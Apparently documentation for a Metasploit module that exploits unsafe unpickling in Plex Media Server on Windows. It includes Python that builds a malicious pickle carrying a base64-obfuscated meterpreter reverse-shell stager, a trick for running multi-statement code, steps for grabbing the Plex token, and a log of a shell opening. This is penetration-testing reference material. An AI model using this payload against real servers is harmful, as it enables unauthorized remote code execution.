Files
metasploit-gs/documentation/modules/exploit/windows/http/plex_unpickle_dict_rce.md
T
2020-07-16 10:16:48 -05:00

5.7 KiB

Vulnerable Application

This module exploits an authenticated Python unsafe pickle.load of a Dict file. An authenticated attacker can create a photo library and add arbitrary files to it. After setting the Windows only Plex variable LocalAppDataPath to the newly created photo library, a file named Dict will be unpickled, which causes an RCE as the user who started Plex.

If an exploit fails, or is cancelled, Dict is left on disk, a new ALBUM_NAME will be required as subsuquent writes will make Dict-1, and not execute.

A vulnerable version of the software can be downloaded from uptodown.com, specifically 1.18.5.2309 is vulnerable and used for developing the module.

The plex server needs to be claimed by an account (free is ok), and the module PLEX_TOKEN option needs permission to create a library, and upload files to it.

Pickle Stub

This exploit requires a python pickle file which can be generated with the following code:

import pickle

class EP(object):
    def __init__(self):
        pass
    def __reduce__(self):
        # for generating an approximately correct size and content, we use
        # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
        # that payload is then added after runsource.
        # The original pre-meterp return would be
        # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
        return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))

e = EP()
pickle.dumps(e)

Pickle Gotchas

All the examples of Evil Pickle attacks seem to call one command/function. 1, 2, 3, 4

However, @acammack-r7 suggested a way around this. using the InteractiveInterpreter. Credit to them for this original code:

>>> class Bad(object):
...      def __reduce__(self):
...              return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '<input>', 'exec')",))
... 
>>> x = Bad()
>>> s = pickle.dumps(x)
>>> pickle.loads(s)
ok
False

Verification Steps

  1. Install the application on an internet-connected host
  2. Complete configuration in the browser that pops up
  3. Register/Connect it to a Plex account (Free or Plex Pass)
  4. Start msfconsole
  5. Do: use windows/http/plex_unpickle_dict_rce
  6. Do: run
  7. You should get a shell.

Options

ALBUM_NAME

Name of the photo album to create. Default is random 6 character.

LIBRARY_PATH

The path to write the photo library to. Must be valid. Default is C:\\Users\\Public

PLEX_TOKEN

The X-Plex-Token value from requests from an authenticated session.

There are multiple ways to obtain this value. The easiest is most likely opening the Console on your web browser (F12) and typing window.localStorage.myPlexAccessToken. However, it can also be obtained from plex library files or by following this comment

REBOOT_SLEEP

Amount of seconds to sleep waiting on the server to reboot. In testing 10 seemed to be OK, default is 15.

Scenarios

Plex 10.0.16299 on Windows 10 16299

```
[*] Processing plex.rb for ERB directives.
resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce
resource (plex.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (plex.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7
PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7
resource (plex.rb)> set verbose true
verbose => true
msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Gathering Plex Config
[*] Server Name: EXPLOITABLE -win10
[+] Server OS: Windows (10.0 (Build 16299))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[*] Using album name: TAtPGj
[*] Adding new photo library
[+] Created Photo Library: 163
[*] Adding pickled Dict to library
[*] Changing AppPath
[*] Restarting Plex
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400
[*] Sleeping 15 seconds for server restart
[*] Cleanup Phase: Reverting changes from exploitation
[*] Changing AppPath
[*] Restarting Plex
[*] Deleting Photo Library

meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer        : win10prolicensed
OS              : Windows 10 (Build 16299)
Architecture    : x64
System Language : en_US
Meterpreter     : python/windows
meterpreter > pwd
\\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system
```